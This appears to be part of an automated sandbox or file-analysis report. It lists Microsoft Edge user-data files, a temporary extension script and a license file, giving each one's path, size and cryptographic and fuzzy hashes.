SHA256 40bfa1952b10b69596ca63bb7c27c86d6366a87b2c4631df72a8fcdab86c4222
MD5 8898c93f2272dc0a98242d29815e1a04
SHA1 d423a18e4dd012a132d9675124346222130a2bdc
SHA512 ca78e9a2d1f4ec175a151e8c650704c12d0a1714ad11d3a786f1d697d3e76651118da849332ab527d0cbc4058e6a6d702df0db442d6765e3211757658b3d3fec
SSDEEP 768:kj+9h39r3qg/TBOW8FsmNONXyer1IRCzni98F9AQb9MeK:z9h33adNSIqnFAQb+eK
TLSH
T106039D3CDC118E3F4C9EB389710E26A6AEA8117BD5B04A54EBD91F4DC573A5DF30680A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 53b6f3287512f78f7c8a1c1992b44246b07eaad6b3bfffb3c20ecadaf10ff616
MD5 21d69ad7ced7cb87609aba692338e0c8
SHA1 f224d1dd15918eb0ea929795cdb3775e64aeafce
SHA512 7779b8b4c38a91737f4f4a444749475e78c253bf12159f7b39ba09f3c498ca34b98599a1d917ed420e3ba3ec2e42a9427b4c9cc32cb7093568690f12a8bc3613
SSDEEP 768:1j+9h3rrMqg/TBOW8FsmOONXyer1IRCznie5b9Meb:A9h32adOSIqnLb+eb
TLSH
T12BF2AF35E856DF234CD693D6B20B3796BFF4206B86C40F50EAEA6F4E058365D130B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 de32610b39fdd5105ebb5c1bd35774aef3d0ffcdd45352b4c4d747d0f88261fe
MD5 c6f6e392aa823cb39cfcbb89a746ce14
SHA1 693883ff3371e54a6fb900cdb8de75bde46bc25e
SHA512 01280afc3700d06d00553ab1bc9a2a63fdcb8a46939ec36082a4731c3614dd3d78c34a638cf673bf8c866283df22b0ac15ee4e7e4d83c2a928575e06bb3b3de9
SSDEEP 768:2rv+4UNbdz39r9qg/TBOW8FsmNONXyer1IRCzni9UOPXJ:2bsbV3ZadNSIqnX6J
TLSH
T1E803BF31E469DF234CE6A2C6B10B7383BFB820A785C54B50DADA5F8D015759E230F917
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 37KB
SHA256 44594df6ee8973b0e82bc55aa3845e262105d1f93e3bc756260de88c3b8e2300
MD5 c74367896df558138bd64799b5cf9d05
SHA1 2c821efb2b2079725498a4fe5b486ccb86eb68f0
SHA512 fe5e9625ad09703afd16235af52b78c5e53d2657c6b178829c67bf30c0b392035c1e7033efe0cd5ef6886a898e3453157bf29cbd3bd2e4c9f9d8c29f6a2632f7
SSDEEP 768:qj+9h3rrMqg/TBOW8FUONXyer1IRCznieceMbgjhq69Meb:J9h32aUSIqnqeegNq6+eb
TLSH
T1E503AF39DC558E3B4C96B3C6710E2756AEF4513BD2D40A54EBDE1F4E01A396CE30780A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

campaign_history

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history
Size 20KB
SHA256 913244815f924fba953b93f7a94b6bf06dda30a6671be022b75b183b7b259659
MD5 70a1ce2159e68d34a809330cb23fe8fc
SHA1 5fc1b2c71b589aa43194511027f8cfc40e5e968e
SHA512 81f3f864b7fe15bd63870defd9ceaad492694817d4e5faf8a9a2c0c40e4adfe24f610d2fa595b9c89d857aa33869472874d3b19da6e02a29fd8da3ec0aabec1d
SSDEEP 12:TL6KeJiEZXiDiIF8izX4fhhdWeci2oesJahvGFUxOUDaa1i3isnqKmQQtudznzAI:TL6Rj0afDdWec9sJVUOI8c87Kue1jy
TLSH
T1D992DF227D352033E4DA0B76FC4389A00EFC129E89AB7551D9A04E660972BC2A7952FC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1
Size 264KB
SHA256 7d5acd06d6a282e0d2b464be22bce1eb55b3e341187cd5f7182cde2b7debb62e
MD5 615b2c014121b90e63da08c5e2c60f7b
SHA1 7487c42b6e2856be1a82c2f475e2ac359ebe92e4
SHA512 eb23a4f2de35f212aa89878d9424ad233e479197add1fd63e1bcf1e4cc685bc632d9c7cd5ec6dd0928b93b81fd3edd87e1201dd7694d83f5c8cb905819a53e86
SSDEEP 3:MsEllllkEthXllkl2zEflhTRKX:/M/xT02zeI
TLSH
T1824404447FC00C1DD5101031C053C3707374D4100513574734D14433DDC75400C10014
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Variations
Size 86B
SHA256 f7b24f2eb3d5eb0550527490395d2f61c3d2fe74bb9cb345197dad81b58b5fed
MD5 961e3604f228b0d10541ebf921500c86
SHA1 6e00570d9f78d9cfebe67d4da5efe546543949a7
SHA512 535f930afd2ef50282715c7e48859cc2d7b354ff4e6c156b94d5a2815f589b33189ffedfcaf4456525283e993087f9f560d84cfcf497d189ab8101510a09c472
TLSH
T196A02407C473C00FF4144051C45C034114FCC447011DD0015074D31314D40CF03F5435
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 732B
SHA256 a5548ca519cf47ecb420c8f1299a8a50517fa463459a704ef2ff17c4db35117a
MD5 b2c40634bbfa57be0d4fad8adfbd6ccb
SHA1 6f8b9ba2f40d9aa42d217ed2bc6dbcdedd1763ad
SHA512 3cfbef4e4a4a7d8fa1530c69ea34fbc3b84627888361a9d201b21e6ead15f5d4e51fea8bc95edd07415b6d2d06a3c19beb1bcea3195e05a6d8af4939b95f77b5
TLSH
T1220110D29C7E26C2C5AA0FBFD08B26EC44C4A516F098747A1CCCF9D4823980E148243E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 852B
SHA256 142a7cc7a4933a976aae32a9d04e1758464486092207243f09edbbad51f1d934
MD5 95fe84d83629d03e0bc6e035f44a5cae
SHA1 2af304ef821c70f2d00b47a3e3872c17d33e40e7
SHA512 266ac6fd03731d757bebdacd0d27aa0326e022f9791d7892445f595285b17def95b722da875c974360a7567be530324d0d91a3310008958cbca0f09f04676301
TLSH
T14E0112D25C3D26C2C5BE0FBFD08776E844C4911AF19474BA1C8CE994827980E208243E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 612B
SHA256 98d9b184e4c7220b5aaf7ae412b0c1b3f32e3dc4933afcf852538b8082017b9e
MD5 c20138f2b92ee0645ce99eebc563daa6
SHA1 8e20392ea25dec3d3cef957c8ebbe1a0c589ea3b
SHA512 151098a27cb44d715d48210b12b95a9d1341beb7ca1de3096edc0434ba70c3d274e446604c7692d7a4d92af7b41872166747a30fd452fd0279407a6993fc02c0
TLSH
T15DF00CD28C3E21C2C5EA0F7ED04B2AF884D46507F0887439088DEAD4C17A80F118247E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 972B
SHA256 590065152acec5cf42dffc28eb04749514feaa899eb2ae04edce7d38a148fbda
MD5 30ae49636160992413baf749cf492c9d
SHA1 93edd7244143177356c931699cb8a266bad04660
SHA512 b986d2486431c75ee9ea0acd7d891c2d40042dfe9185910eedc52db52d68de586df47518bb97647f325416a600eb0e7b794c9d5db9242f3417882791a266829e
TLSH
T11E1114D25C7E26C2D5BE0FBF90877AEC44C4D616F194347A1C88ED94417981E154147E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

9cb965c1-33fc-4886-b411-bb85a78a03bd.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\9cb965c1-33fc-4886-b411-bb85a78a03bd.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1308_769091609\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4352_1230263574\LICENSE
Size 1KB
SHA256 3dbd2c90050b652d63656481c3e5871c52261575292db77d4ea63419f187a55b
MD5 ee002cb9e51bb8dfa89640a406a1090a
SHA1 49ee3ad535947d8821ffdeb67ffc9bc37d1ebbb2
SHA512 d1fdcc436b8ca8c68d4dc7077f84f803a535bf2ce31d9eb5d0c466b62d6567b2c59974995060403ed757e92245db07e70c6bddbf1c3519fed300cc5b9bf9177c
TLSH
T17D31535723840B9306DA2B4566AEBDC4B0DDC02D7F27AE05186EF394537B52ED8B3443
MD5 SHA1 SHA512 TLSH

Submit Download